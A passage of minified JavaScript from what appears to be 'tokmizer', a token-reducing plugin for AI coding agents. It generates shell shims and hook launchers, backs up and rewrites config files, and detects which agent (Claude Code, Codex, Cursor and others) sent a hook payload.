"$_tk_t" ]; then',' for _tk_x in "$_tk_n" "$(command -v node 2>/dev/null)" /opt/homebrew/bin/node /usr/local/bin/node /usr/bin/node ""; do',' [ -n "$_tk_x" ] && [ -x "$_tk_x" ] && break'," done","fi"]}function DS(e){return[...$d(e,"_tk_c"),`if ! ${eo()}; then`,' if [ -n "$_tk_s" ] && [ -x "$_tk_s" ]; then exec "$_tk_s" shim-run --as "$_tk_c" "$@"; fi',...Ba("tkr-shim.js","$_tk_j").map(t=>` ${t}`),' if [ -n "$_tk_x" ]; then exec "$_tk_x" "$_tk_t" --as "$_tk_c" "$@"; fi',` echo ${Y(Os)} >&2`,` { echo x >> ${Y(to())}; } 2>/dev/null`,"fi",...Ps(""),""].join(`
27
- `)}function Cd(e){return[...$d(e,"_tk_m"),"case $_tk_m in tkr-*-hook) ;; *) { /bin/cat || /usr/bin/cat; } >/dev/null 2>&1; exit 0 ;; esac",'if [ -n "$_tk_s" ] && [ -x "$_tk_s" ]; then _tk_w=${_tk_m#tkr-}; exec "$_tk_s" hook "${_tk_w%-hook}" "$@"; fi',...Ba("$_tk_m.js","${_tk_j%/*}/$_tk_m.js"),'if [ -n "$_tk_x" ]; then exec "$_tk_x" "$_tk_t" "$@"; fi',"{ /bin/cat || /usr/bin/cat; } >/dev/null 2>&1","exit 0",""].join(`
28
- `)}function FS(e){return["#!/bin/sh",`_tk_f=${oo}`,`_tk_s=${Y(e.single)}`,`_tk_j=${Y(e.js)}`,`_tk_k=${Y(e.cache)}`,`_tk_n=${Y(e.node)}`,'[ "$#" -gt 0 ] || exit 0',`if ! ${eo()}; then`,' if [ -n "$_tk_s" ] && [ -x "$_tk_s" ]; then exec "$_tk_s" exec "$@"; fi',...Ba("tkr-exec.js","${_tk_j%/*}/tkr-exec.js").map(t=>` ${t}`),' if [ -n "$_tk_t" ]; then'," _tk_r=${_tk_t%/*}",' if [ -f "$_tk_r/tkr-exec" ] && [ -s "$_tk_r/tkr-exec" ] && [ -x "$_tk_r/tkr-exec" ]; then exec "$_tk_r/tkr-exec" "$@"; fi',' if [ -n "$_tk_x" ] && [ -s "$_tk_t" ]; then exec "$_tk_x" "$_tk_t" "$@"; fi'," fi","fi",'exec "$@"',""].join(`
29
- `)}function Od(e){let t=OS(),n=Zn(Ze(Ge(e),"tkr-shim.js")),r=Kn(t);if(r&&r.format===oo&&ro(r.target)&&JSON.stringify(r.target)===JSON.stringify(n))return t;if(!ro(n))return r&&ro(r.target)?t:null;let o=`${t}.${process.pid}.tmp`;try{return vd(Ge(t),{recursive:!0,mode:448}),Rd(o,FS(n),{mode:493}),xd(o,493),Ed(o,t),t}catch{try{Td(o)}catch{}return null}}function LS(e){let t=a=>{let l=e.match(new RegExp(`^${a}=(.*)$`,"m"));return l?a==="_tk_f"?l[1]:wd(l[1]):null},n=Number(t("_tk_f")),r=t("_tk_s"),o=t("_tk_j"),s=t("_tk_k"),i=t("_tk_n")??"";return!Number.isInteger(n)||r===null||o===null||s===null?null:{format:n,target:{single:r,js:o,cache:s,node:i}}}function Kn(e=Gn()){try{return LS(ES(e,"utf8"))}catch{return null}}function za(e=Kn()){return e!==null&&e.format===oo&&ro(e.target)}async function Pd(e,t){let n=`${e}.${process.pid}.tmp`;try{return await RS(Ge(e),{recursive:!0,mode:448}),await CS(n,t,{mode:493}),await TS(n,493),await AS(n,e),!0}catch{try{await $S(n)}catch{}return!1}}function Ua(e){return Pd(Gn(),DS(e))}function Id(e){return Pd(gt(),Cd(e))}function Nd(e){let t=Zn(Ze(Ge(e),"tkr-shim.js")),n=Kn(gt());if(n&&n.format===oo&&ro(n.target)&&t.single===""&&t.js==="")return;let r=gt(),o=`${r}.${process.pid}.tmp`;try{vd(Ge(r),{recursive:!0,mode:448}),Rd(o,Cd(t),{mode:493}),xd(o,493),Ed(o,r)}catch{try{Td(o)}catch{}}}var oo,no,Ad,so=y(()=>{"use strict";Cs();z();tt();Qr();Ee();oo=1,no="tkr-shim.stable",Ad=/^(?:0|[1-9]\d{0,5})\.(?:0|[1-9]\d{0,5})\.(?:0|[1-9]\d{0,5})$/});import{chmod as HS,lstat as Md,mkdir as jS,readFile as Ga,rename as BS,rm as LF,unlink as Dd,writeFile as zS}from"node:fs/promises";import{createHash as Fd}from"node:crypto";import{basename as US,join as Ld}from"node:path";function Hd(){return Ld(b(),"backup","config")}function Ja(e){let t=io(e),n=Fd("sha256").update(t).digest("hex").slice(0,16),r=US(t).replace(/[^A-Za-z0-9._-]/g,"_").slice(0,80);return Ld(Hd(),`${n}-${r}`)}function jd(e){return`${Ja(e)}.written`}function Bd(e){return Fd("sha256").update(e).digest("hex")}async function GS(e){try{return await Md(e),!0}catch{return!1}}async function Za(e,t){let n=`${e}.tmp-${process.pid}`;try{return await jS(Hd(),{recursive:!0,mode:448}),await zS(n,t,{mode:384}),await HS(n,384),await BS(n,e),!0}catch{return await Dd(n).catch(()=>{}),!1}}async function ZS(e,t){let n=`${e}${JS}`;try{if(!(await Md(n)).isFile())return!1}catch{return!1}let r=!await GS(t);if(r&&!await Za(t,await Ga(n,"utf8")))throw new Error("backup");return await Dd(n).catch(()=>{}),r}async function KS(e,t){try{return(await Ga(jd(e),"utf8")).trim()===Bd(t)}catch{return!1}}async function zd(e,t){let n=t;try{n===void 0&&(n=await Ga(e,"utf8"))}catch(r){return r.code==="ENOENT"}try{if(await ZS(e,Ja(e)))return!0}catch{return!1}return await KS(e,n)?!0:Za(Ja(e),n)}async function ht(e,t,n){return!await zd(e,n)||!await nt(e,t)?!1:(await Za(jd(e),`${Bd(t)}
30
- `),!0)}var JS,Wn=y(()=>{"use strict";z();de();JS=".tkr-bak"});function WS(e){return e.charCodeAt(0)===65279?e.slice(1):e}function re(e){return JSON.parse(WS(e))}var yt=y(()=>{"use strict"});import{readFile as VS,writeFile as qS,rename as YS,mkdir as Zd,chmod as XS,stat as QS,unlink as ex}from"node:fs/promises";import{existsSync as tx,lstatSync as nx,readlinkSync as rx,realpathSync as Ud}from"node:fs";import{basename as ox,dirname as Ms,join as sx,resolve as Jd}from"node:path";function L(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}async function oe(e){if(!tx(e))return{};try{let t=re(await VS(e,"utf8"));return L(t)?t:null}catch{return null}}function io(e){let t=Jd(e);for(let n=0;n<32;n++){try{return Ud(t)}catch{}try{if(!nx(t).isSymbolicLink())break;t=Jd(Ms(t),rx(t))}catch{break}}try{return sx(Ud(Ms(t)),ox(t))}catch{return t}}async function nt(e,t){let n=io(e),r=`${n}.tmp-${process.pid}`;try{await Zd(Ms(n),{recursive:!0});let o=384;try{o=(await QS(n)).mode&511}catch{}return await qS(r,t,{mode:o}),await XS(r,o),await YS(r,n),!0}catch{try{await ex(r)}catch{}return!1}}async function se(e,t){try{await Zd(Ms(e),{recursive:!0})}catch{return!1}return ht(e,`${JSON.stringify(t,null,2)}
31
- `)}function Ns(e){return`'${e.replace(/'/g,"'\\''")}'`}function Kd(e,t,n=process.platform,r="-x"){return n==="win32"?t:`[ ! ${r} ${Ns(e)} ] || exec ${t}`}function Ot(e,t,n){if(process.platform!=="win32")return Nd(n),Kd(gt(),`/bin/sh ${Ns(gt())} ${e}`,process.platform,"-f");let r=fe()?mt(n):null;return r?[Ns(cn(t)),...r].join(" "):`node ${Ns(n)}`}function ix(e){let t=[],n="",r=!1;for(let o=0;o<e.length;o++){let s=e[o];if(s==="'"){let i=e.indexOf("'",o+1);if(i<0)return null;n+=e.slice(o+1,i),r=!0,o=i}else if(s==='"'){let i=e.indexOf('"',o+1);if(i<0)return null;let a=e.slice(o+1,i);if(/`|\$\(/.test(a))return null;n+=a,r=!0,o=i}else if(s==="\\"&&e[o+1]==="'")n+="'",r=!0,o++;else if(s===" "||s===" ")r&&t.push(n),n="",r=!1;else{if(s===";"||s==="&"||s==="|"||s==="`"||s===`
32
- `||s==="\r"||s==="$"&&e[o+1]==="(")return null;n+=s,r=!0}}return r&&t.push(n),t}function Ka(e){return(e.split(/[\\/]/).pop()??"").toLowerCase().replace(/\.(?:exe|cmd|bat|ps1|m?js|sh)$/,"")}function Wa(e){if(typeof e!="string")return null;let t=e.replace(ax,""),n=ix(t);if(!n)return null;let r=0;for(;r<n.length&&Gd.test(n[r]);)r++;if(n[r]==="exec"&&r++,r>=n.length||Gd.test(n[r]))return null;let o=Ka(n[r]),s=n.slice(r+1);if(o==="sh"||o==="bash"){let i=s[0]!==void 0?Ka(s[0]):"";return/^tkr-hook(?:-launch)?$/.test(i)?{program:i,args:s.slice(2),launcherMark:s[1]??""}:{program:o,args:s}}return o==="node"?{program:s[0]!==void 0?Ka(s[0]):"node",args:s.slice(1)}:{program:o,args:s}}function Fe(e,t){let n=Wa(e);if(!n)return!1;if(n.launcherMark!==void 0)return n.launcherMark===t;if(n.program===t)return!0;if(n.program!=="tkr")return!1;let r=mt(t);return r?.length?r.every((o,s)=>n.args[s]===o):!1}function Vn(e,t,n,r){let o=i=>i!==n&&t(i),s=!1;for(let i=e.length-1;i>=0;i--){let a=e[i];if(!r){o(a)&&(e.splice(i,1),s=!0);continue}if(!L(a)||!Array.isArray(a.hooks))continue;let l=a.hooks.filter(c=>!o(c));l.length!==a.hooks.length&&(s=!0,l.length?a.hooks=l:e.splice(i,1))}return s}var ax,Gd,de=y(()=>{"use strict";Qr();tt();so();Wn();yt();ax=/^\s*\[ ! -[a-z] (?:'(?:[^']|'\\'')*'|"[^"]*") \] \|\| /,Gd=/^[A-Za-z_][A-Za-z0-9_]*=/});function ke(e,t){let n=e[t];return typeof n=="string"&&n?n:null}function ao(e){return e!=null&&typeof e=="object"&&!Array.isArray(e)}function cx(e){return ke(e,"prompt_id")||ke(e,"scratchpad_dir")?!0:ao(e.effort)}function ux(e){return ke(e,"tool_use_id")?.startsWith("toolu_")===!0||/^claude/i.test(ke(e,"model")??"")}function Vd(e){return ao(e)?hx.filter(([,t])=>t(e)).map(([t])=>t):[]}function Va(e,t){if(!ao(e))return null;let n=Vd(e);return n.length>1?null:n.length===1?n[0]:ux(e)&&yx.has(t)?"claude-code":t==="codex"?null:t}function qd(e,t){let n=Va(e,t);return n==="claude-code"||n==="codex"?n:null}var fx,dx,px,mx,gx,hx,yx,Ds=y(()=>{"use strict";fx=new Set(["BeforeTool","AfterTool","BeforeAgent","AfterAgent","BeforeModel","AfterModel","BeforeToolSelection"]),dx=new Set(["preToolUse","postToolUse","beforeShellExecution","afterShellExecution","beforeSubmitPrompt","sessionStart","sessionEnd","stop"]),px=new Set(["pre_tool","post_tool"]),mx=new Set(["before_tool_call","after_tool_call"]),gx=new Set(["runTerminalCommand","run_in_terminal"]),hx=[["codex",e=>ke(e,"turn_id")!==null],["claude-code",cx],["cursor",e=>ke(e,"cursor_version")!==null||ke(e,"generation_id")!==null||ke(e,"conversation_id")!==null||Array.isArray(e.workspace_roots)||dx.has(ke(e,"hook_event_name")??"")],["gemini-cli",e=>fx.has(ke(e,"hook_event_name")??"")],["qwen-code",e=>e.hook_event_name==="PreToolUse"&&e.tool_name==="run_shell_command"],["vibe",e=>px.has(ke(e,"hook_event_name")??"")],["antigravity",e=>ao(e.toolCall)],["copilot",e=>ke(e,"toolName")!==null&&"toolArgs"in e||gx.has(ke(e,"tool_name")??"")],["grok",e=>e.toolName==="run_terminal_command"||e.tool_name==="run_terminal_command"||ao(e.toolInput)&&!("toolArgs"in e)],["droid",e=>e.tool_name==="Execute"],["trae",e=>e.tool_name==="RunCommand"],["crush",e=>e.hook_event_name===void 0&&ke(e,"event")!==null&&!mx.has(ke(e,"event"))]],yx=new Set(["codex","antigravity"])});var Pt,qa=y(()=>{"use strict";Ds();Pt="tkr-context-hook"});function Ya(e){let t=Wa(e);return!t||t.launcherMark!==void 0?!1:t.program==="tkr-exec"?t.args.length===1&&kx.has(t.args[0]):t.program==="tkr"?t.args.length===2&&t.args[0]==="hook"&&bx.has(t.args[1]):wx.has(t.program)&&_x.test(e)}function xx(e){if(typeof e!="string")return null;if(Fe(e,Pt))return"context";if(Ya(e))return"claude-code";for(let[n,r]of Sx)if(Fe(e,n))return r;return Fe(e,"tkr-agent-hook")?/\b(vibe|antigravity)['"]?\s*$/.exec(e)?.[1]??null:null}function Yd(e){return t=>{let n=xx(t);return n!==null&&n!=="context"&&n!==e}}var kx,bx,wx,_x,Sx,Xa=y(()=>{"use strict";de();qa();kx=new Set(["--pre-tool-use","--post-tool-use","--session-start"]),bx=new Set(["pre-tool-use","post-tool-use","session-start","session-recap","reducer-session-start","reducer-prompt-submit","reducer-stop","command-expansion"]),wx=new Set(["pre-tool-use","post-tool-use","session-recap","reducer-session-start","reducer-prompt-submit","reducer-stop","command-expansion","on-session-start"]),_x=/(?:tokmizer|\$\{?CLAUDE_PLUGIN_ROOT\}?)[^'"\n]*?[\\/]+(?:dist[\\/]+hooks-host[\\/]+(?:pre-tool-use|post-tool-use|session-recap|reducer-session-start|reducer-prompt-submit|reducer-stop|command-expansion)\.js|hooks[\\/]+on-session-start\.mjs)/i;Sx=[["tkr-codex-hook","codex"],["tkr-cursor-hook","cursor"],["tkr-gemini-hook","gemini-cli"],["tkr-copilot-hook","copilot"],["tkr-droid-hook","droid"],["tkr-trae-hook","trae"],["tkr-qwen-hook","qwen-code"],["tkr-crush-hook","crush"],["tkr-junie-hook","junie"],["tkr-zcode-hook","zcode"],["tkr-grok-hook","grok"]]});var cp={};ge(cp,{claudeFormHook:()=>Ya,codexConfigFile:()=>co,codexFindingLines:()=>rl,codexFindings:()=>uo,codexHome:()=>qn,codexPluginProvidesHook:()=>Xn,codexPlugins:()=>el,disableLegacyPlugins:()=>lp,projectCodexDirs:()=>Ls,repairCodexConfig:()=>Hs,stripJsonHooks:()=>nl,stripTomlHooks:()=>tl});import{existsSync as Qa,readFileSync as vx,readdirSync as Ex}from"node:fs";import{dirname as Xd,join as Ke,resolve as lo}from"node:path";import op from"node:os";function qn(){return process.env.CODEX_HOME||Ke(op.homedir(),".codex")}function co(){return Ke(qn(),"config.toml")}function Yn(e){try{return vx(e,"utf8")}catch{return null}}function sp(e){let t=[],n=null;return e.forEach((r,o)=>{let s=n===null&&Tx.test(r);for(let i of r.matchAll(/"""|'''/g))n===null?n=i[0]:n===i[0]&&(n=null);s&&(t.length&&(t[t.length-1].end=o),t.push({header:r.trim().replace(/\s*#.*$/,""),start:o,end:e.length}))}),t}function Qd(e){return e.split(/[.+-]/).map(t=>/^\d+$/.test(t)?Number(t):-1)}function Ax(e,t){let[n,r]=[Qd(e),Qd(t)];for(let o=0;o<Math.max(n.length,r.length);o++){let s=(r[o]??-1)-(n[o]??-1);if(s)return s}return t.localeCompare(e)}function $x(e){let t=Ke(qn(),"plugins","cache",e,"tokmizer"),n;try{n=Ex(t).sort(Ax)[0]}catch{return null}if(!n)return null;let r=Ke(t,n),o=Yn(Ke(r,".codex-plugin","plugin.json"));try{if(o!==null&&JSON.parse(o).hooks!=null)return"hooked"}catch{}return Qa(Ke(r,"hooks","hooks.json"))?"legacy":null}function ap(e){let t=[],n=sp(e);for(let r of n){let o=Rx.exec(r.header);if(!o)continue;let s=e.slice(r.start+1,r.end);t.push({marketplace:o[1]??o[2],enabled:!s.some(i=>/^\s*enabled\s*=\s*false\s*(?:#.*)?$/.test(i)),table:r})}return e.forEach((r,o)=>{let s=ip.exec(r);if(!s)return;let i=n.filter(l=>l.start<o&&o<l.end)[0];(!/^\s*plugins\s*\./.test(r)?i?.header!=="[plugins]":i!==void 0)||t.push({marketplace:s[3],enabled:!/(?:^|,)\s*enabled\s*=\s*false\s*(?:,|$)/.test(s[4]),line:o})}),t}function el(e=Yn(co())){return e?ap(e.split(/\r?\n/)).map(t=>({id:`tokmizer@${t.marketplace}`,marketplace:t.marketplace,enabled:t.enabled,state:$x(t.marketplace)})):[]}function Xn(){let e=el().filter(t=>t.enabled&&t.state);return e.length>0&&e.every(t=>t.state==="hooked")}function lp(e,t){let n=e.split(/(?<=\n)/),r=n.map(s=>s.replace(/\r?\n$/,"")),o=ap(r).filter(s=>t.includes(`tokmizer@${s.marketplace}`));for(let s of o.sort((i,a)=>(a.table?.start??a.line)-(i.table?.start??i.line))){if(s.line!==void 0){let c=ip.exec(r[s.line]),u=/\benabled\s*=\s*\w+/.test(c[4])?c[4].replace(/\benabled\s*=\s*\w+/,"enabled = false"):c[4].trim()?` enabled = false,${c[4]}`:" enabled = false ";n[s.line]=`${c[1]}${u}${c[5]}${n[s.line].slice(r[s.line].length)}`;continue}let i=s.table,a=/\r\n$/.test(n[i.start]??"")?`\r
28
+ `}async function jn(e,t,n=process.env,r={}){if(t=tt(t,r.raw),ld(n)||!e)return t;let o=a=>fd(t,a);if(Buffer.byteLength(e,"utf8")<=Buffer.byteLength(o("0".repeat(16)),"utf8"))return t;if(r.raw){let a=await Ma(r.raw,!1,r.label,n);if(a)return`${t}${o(a)}`}let s=await Ma(e,!0,r.label,n);if(s)return`${t}${o(s)}`;if($e())return t;let i=ud(r.raw||e,n);return i?`${t}${cd(t,i,n)}`:r.raw??`${t}${$S(t)}`}async function Rs(e,t,n=process.env,r={}){if(t=tt(t,e),ld(n)||!e)return t;let o=await Ma(e,!1,r.label,n);if(o)return`${t}${fd(t,o)}`;if($e())return t;let s=ud(e,n);return s?`${t}${cd(t,s,n)}`:e}async function dd(){let e;try{e=await gS($t())}catch{return}let t=Hn("TOKMIZER_CCR_MAX_AGE_MS",id()),n=Hn("TOKMIZER_CCR_DIR_CAP_BYTES",rd),r=Date.now(),o=new Map;for(let a of e){let l=Yr($t(),a);try{let c=await pS(l);r-c.mtimeMs>t?await Ln(l):o.set(a,{mtimeMs:c.mtimeMs,size:c.size})}catch{}}for(let a of[...o.keys()])if(!(!a.endsWith(Xr)||o.has(a.slice(0,-Xr.length)))){try{await Ln(Yr($t(),a))}catch{}o.delete(a)}let s=[...o.entries()].filter(([a])=>!a.endsWith(Xr)).sort((a,l)=>a[1].mtimeMs-l[1].mtimeMs),i=s.reduce((a,[,l])=>a+l.size,0);for(let[a,l]of s){if(i<=n)break;try{await Ln(Yr($t(),a)),i-=l.size,await Ln(Yr($t(),`${a}${Xr}`),{force:!0})}catch{}}}var nd,_S,rd,od,SS,Xr,UF,RS,ed,AS,As=y(()=>{"use strict";Vr();Ts();U();qr();nd=1440*60*1e3,_S=30*nd,rd=200*1024*1024,od=8*1024*1024,SS=/^[0-9a-f]{8,64}$/i,Xr=".meta",UF=["usage: tkr restore <hash> [--lines a:b] [--grep pattern]"," tkr restore --list [--all-projects]"," tkr restore --grep <pattern> [--all-projects]",""].join(`
29
+ `);RS=/^(?=\[tkr |\[tokmizer\])/gm,ed=/^\[(?:tkr:|same output as )/,AS=[e=>e===Fn,e=>/^\[tkr: previous log line repeated \d+ additional times\]$/.test(e),e=>/^\[same output as `.*` earlier in this session, unchanged, ~\d+ tokens\]$/.test(e)]});function ln(){let e=process.env.TOKMIZER_BASE_URL;if(e===Bn||e===`${Bn}/`||!e)return Bn;try{let t=new URL(e);return t.protocol==="http:"&&CS.has(t.hostname)&&!t.username&&!t.password?e:Bn}catch{return Bn}}var Bn,CS,$s=y(()=>{"use strict";Bn="https://tokmizer.com",CS=new Set(["127.0.0.1","localhost"])});var wd={};he(wd,{clearSettingsCache:()=>MS,loadSettingsCache:()=>re,saveSettingsCache:()=>Cs,updateSettingsCache:()=>Fa});import{readFile as hd,writeFile as yd,mkdir as kd,chmod as OS,rm as Qr,rename as bd,readdir as IS}from"node:fs/promises";import{randomUUID as PS}from"node:crypto";import{join as zn}from"node:path";import{setTimeout as md}from"node:timers/promises";async function re(){let e=null;try{let t=JSON.parse(await hd(zn(b(),Da),"utf8"));typeof t=="object"&&t!==null&&!Array.isArray(t)&&(e=t)}catch{}return e?rn.parse({...pd,...e}):pd}async function Cs(e){await kd(b(),{recursive:!0,mode:448});let t=zn(b(),Da),n=`${t}.tmp-${process.pid}-${process.hrtime.bigint()}`;await yd(n,JSON.stringify(e,null,2),{mode:384});try{await OS(n,384),await bd(n,t)}catch(r){try{await Qr(n,{force:!0})}catch{}throw r}}async function gd(e){let t=[];for(let n of await IS(e)){let r=/^([1-9]\d*)-[0-9a-f-]{36}\.json$/.exec(n);if(!r)continue;let o=zn(e,n);try{process.kill(Number(r[1]),0)}catch(s){let i=s.code;if(i==="ESRCH"){await Qr(o,{force:!0});continue}if(i!=="EPERM")throw s}try{let s=JSON.parse(await hd(o,"utf8"));if(!Number.isSafeInteger(s)||s<0)throw new Error("Invalid local settings lock");t.push({id:n,ticket:s})}catch(s){if(s.code!=="ENOENT")throw s}}return t}async function Fa(e){let t=NS.parse(e),n=zn(b(),"settings-cache-locks");await kd(n,{recursive:!0,mode:448});let r=`${process.pid}-${PS()}.json`,o=zn(n,r),s=`${o}.tmp`,i=performance.now()+3e3,a=async l=>{for(await yd(s,String(l),{mode:384});;)try{await bd(s,o);return}catch(c){let u=c.code;if(process.platform!=="win32"||u!=="EPERM"&&u!=="EBUSY"||performance.now()>=i)throw c;await md(10)}};try{await a(0);let l=Math.max(0,...(await gd(n)).map(c=>c.ticket))+1;if(!Number.isSafeInteger(l))throw new Error("Invalid local settings lock");for(await a(l);;){if(!(await gd(n)).some(u=>u.id!==r&&(u.ticket===0||u.ticket<l||u.ticket===l&&u.id<r))){let u=await re(),f=rn.parse({...u,...t,filters:{...u.filters,...t.filters}});return await Cs(f),f}if(performance.now()>=i)throw new Error("Timed out waiting for local settings lock after 3 seconds; another process may still be updating settings");await md(10)}}finally{await Promise.all([Qr(o,{force:!0}),Qr(s,{force:!0})])}}async function MS(){try{await Qr(zn(b(),Da),{force:!0})}catch{}}var Da,pd,NS,pt=y(()=>{"use strict";ft();U();Da="settings-cache.json",pd=rn.parse({}),NS=rn.partial().extend({filters:rn.shape.filters.removeDefault().partial().optional()})});import FS from"node:os";import{isAbsolute as LS,join as Sd,resolve as xd}from"node:path";function Un(e=process.env,t=FS.homedir()){let n=e.CLAUDE_CONFIG_DIR?.trim();if(!n)return Sd(t,".claude");let r=n;return r==="~"?r=t:(r.startsWith("~/")||r.startsWith("~\\"))&&(r=Sd(t,r.slice(2))),LS(r)?xd(r):xd(r)}var Os=y(()=>{"use strict"});import{basename as HS}from"node:path";function gt(e){let t=HS(e).replace(/\.(m?js|ts)$/,"");if(t==="tkr")return[];for(let[n,r]of Object.entries(jS))if(r===t)return[n];for(let[n,r]of Object.entries(BS))if(r===t)return["hook",n];return null}var jS,BS,eo=y(()=>{"use strict";jS={exec:"tkr-exec",processor:"tkr-processor",daemon:"tkr-daemon","shim-run":"tkr-shim"},BS={codex:"tkr-codex-hook",cursor:"tkr-cursor-hook",gemini:"tkr-gemini-hook",agent:"tkr-agent-hook",copilot:"tkr-copilot-hook",droid:"tkr-droid-hook",trae:"tkr-trae-hook",qwen:"tkr-qwen-hook",crush:"tkr-crush-hook",junie:"tkr-junie-hook",zcode:"tkr-zcode-hook",grok:"tkr-grok-hook",context:"tkr-context-hook","pre-tool-use":"pre-tool-use","post-tool-use":"post-tool-use","session-recap":"session-recap","session-start":"on-session-start","reducer-session-start":"reducer-session-start","reducer-prompt-submit":"reducer-prompt-submit","reducer-stop":"reducer-stop","command-expansion":"command-expansion"}});import{realpathSync as Ed}from"node:fs";import{delimiter as zS,join as Jn}from"node:path";import US from"node:os";function de(){return!1}function cn(e,t=process.execPath){let n=de()?gt(e):null;return n?[process.execPath,...n]:[t,e]}function vd(e,t){try{return Ed(e)===Ed(t)}catch{return!1}}function un(e=process.env.PATH??"",t=process.platform,n=process.execPath){let r=t==="win32"?"tkr.exe":"tkr";for(let o of e.split(t==="win32"?";":zS)){if(!o||o.includes("node_modules"))continue;let s=Jn(o,r);if(vd(s,n))return s}if(t!=="win32"){let o=US.homedir();for(let s of[Jn(o,".local","bin",r),Jn(o,".local","share","tokmizer","current","dist","bin",r),Jn("/opt/homebrew/bin",r),Jn("/usr/local/bin",r),Jn("/home/linuxbrew/.linuxbrew/bin",r)])if(vd(s,n))return s}return n}var nt=y(()=>{"use strict";eo()});import{rmSync as JS,statSync as GS}from"node:fs";import{join as La}from"node:path";function Ce(){return La(b(),"shims")}function Ot(){return La(b(),"fail-open")}function ke(e=Date.now()){try{if(e-GS(Ot()).mtimeMs<ZS)return!0;JS(Ot(),{force:!0})}catch{}return!1}function to(){return`[ -f ${X(Ot())} ]`}function no(){return La(b(),"shim-fallbacks")}function X(e){return`'${e.replace(/'/g,"'\\''")}'`}function Td(e){if(!e.startsWith("'")||!e.endsWith("'")||e.length<2)return null;let n=e.slice(1,-1).split("'\\''");return n.some(r=>r.includes("'"))?null:n.join("'")}function Ps(e){return["set -f",`_tk_d=${X(Ce())}`,"_tk_o=$IFS; IFS=:; _tk_p=; _tk_x=","for _tk_e in $PATH; do",' [ -n "$_tk_e" ] || continue',' [ "$_tk_e" -ef "$_tk_d" ] && continue'," _tk_p=${_tk_p:+$_tk_p:}$_tk_e",' [ "$_tk_e/$_tk_c" -ef "$0" ] && continue',' [ "$_tk_e/$_tk_c" -ef "$_tk_d/$_tk_c" ] && continue',' [ -z "$_tk_x" ] && [ -f "$_tk_e/$_tk_c" ] && [ -x "$_tk_e/$_tk_c" ] && _tk_x=$_tk_e/$_tk_c',"done","IFS=$_tk_o; PATH=$_tk_p; export PATH; set +f",'[ -n "$_tk_x" ] || { echo "$_tk_c: command not found" >&2; exit 127; }','exec "$_tk_x" "$@"'].map(t=>`${e}${t}`)}var Is,ZS,ve=y(()=>{"use strict";U();Is="tokmizer: shim target missing, running command directly; run `tkr doctor --fix`";ZS=24*36e5});import{accessSync as KS,chmodSync as $d,constants as WS,existsSync as Ns,mkdirSync as Cd,readdirSync as VS,readFileSync as qS,realpathSync as Rd,renameSync as Od,unlinkSync as Id,writeFileSync as Pd}from"node:fs";import{chmod as YS,mkdir as XS,rename as QS,unlink as ex,writeFile as tx}from"node:fs/promises";import{basename as Ha,dirname as Ke,join as We,sep as Gn}from"node:path";function Zn(){return We(b(),"bin","tkr-shim-launch")}function ht(){return We(b(),"bin","tkr-hook")}function nx(){return We(b(),"bin","tkr-run")}function Ad(){return We(Un(),"plugins","cache","tokmizer","tokmizer")}function rx(e){let t=Ke(Ke(Ke(e)));return Nd.test(Ha(t))&&Ha(Ke(t))==="tokmizer"?Ke(t):null}function ja(e){return/[\n\r]/.test(e)||e.includes(`${Gn}_npx${Gn}`)||e.includes(`${Gn}.bun${Gn}install${Gn}cache${Gn}`)}function Ba(e){let t=e.match(/^(.*)[\\/]Cellar[\\/]([^\\/]+)[\\/][^\\/]+[\\/](.*)$/);if(!t)return e;let n=We(t[1],"opt",t[2],t[3]);try{return Rd(n)===Rd(e)?n:e}catch{return e}}function ox(e=process.execPath){return ja(e)?"":Ba(e)}function Kn(e,t=de()){if(t&&gt(e)){let o=un();return{single:ja(o)?"":Ba(o),js:"",cache:Ad(),node:""}}let n=ox(),r=rx(e);return r?{single:"",js:"",cache:r,node:n}:{single:"",js:ja(e)?"":Ba(e),cache:Ad(),node:n}}function sx(e){try{return KS(e,WS.X_OK),!0}catch{return!1}}function ix(e){let t=null,n=-1,r;try{r=VS(e)}catch{return null}for(let o of r){if(!Nd.test(o))continue;let s=We(e,o);if(!Ns(We(s,"dist","bin","tkr-shim.js"))||!Ns(We(s,"dist","bin",ro)))continue;let[i,a,l]=o.split(".").map(Number),c=i*1e6+a*1e3+l;c>n&&(n=c,t=s)}return t}function oo(e){return e.single&&sx(e.single)||e.js&&Ns(e.js)&&(Ha(e.js)!=="tkr-shim.js"||Ns(We(Ke(e.js),ro)))?!0:e.cache!==""&&ix(e.cache)!==null}function Md(e,t){return["#!/bin/sh",`_tk_f=${so}`,`${t}=$1`,"shift",`_tk_s=${X(e.single)}`,`_tk_j=${X(e.js)}`,`_tk_k=${X(e.cache)}`,`_tk_n=${X(e.node)}`]}function za(e,t){return["_tk_t=",`if [ -n "$_tk_j" ] && [ -f "${t}" ] && { [ "\${_tk_j##*/}" != tkr-shim.js ] || [ -f "\${_tk_j%/*}/${ro}" ]; }; then _tk_t=${t}; fi`,'if [ -z "$_tk_t" ] && [ -n "$_tk_k" ] && [ -d "$_tk_k" ]; then'," _tk_b=-1",' for _tk_r in "$_tk_k"/*/; do'," _tk_v=${_tk_r%/}; _tk_v=${_tk_v##*/}"," case $_tk_v in *[!0-9.]*|.*|*.|*..*|0[0-9]*|*.0[0-9]*|*[0-9][0-9][0-9][0-9][0-9][0-9][0-9]*) continue ;; [0-9]*.[0-9]*.[0-9]*) ;; *) continue ;; esac"," case ${_tk_v#*.*.} in *.*) continue ;; esac",` [ -f "\${_tk_r}dist/bin/${e}" ] && [ -f "\${_tk_r}dist/bin/${ro}" ] || continue`," _tk_1=${_tk_v%%.*}; _tk_2=${_tk_v#*.}; _tk_3=${_tk_2#*.}; _tk_2=${_tk_2%%.*}"," _tk_v=$((_tk_1 * 1000000 + _tk_2 * 1000 + _tk_3))",` if [ "$_tk_v" -gt "$_tk_b" ]; then _tk_b=$_tk_v; _tk_t=\${_tk_r}dist/bin/${e}; fi`," done","fi",'if [ -z "$_tk_t" ]; then',` _tk_d=${X(Ce())}`," set -f; _tk_o=$IFS; IFS=:"," for _tk_e in $PATH; do"," case $_tk_e in /*/node_modules/*|*/node_modules) continue ;; /*) ;; *) continue ;; esac",' [ ! "$_tk_e" -ef "$_tk_d" ] || continue',' for _tk_g in "$_tk_e/../lib/node_modules/@tokmizer/plugin/dist/bin" "$_tk_e/../opt/tokmizer/libexec/lib/node_modules/@tokmizer/plugin/dist/bin"; do',` if [ -f "$_tk_g/${ro}" ] && [ -f "$_tk_g/${e}" ]; then _tk_t=$_tk_g/${e}; break 2; fi`," done"," done"," IFS=$_tk_o; set +f","fi","_tk_x=",'if [ -n "$_tk_t" ]; then',' for _tk_x 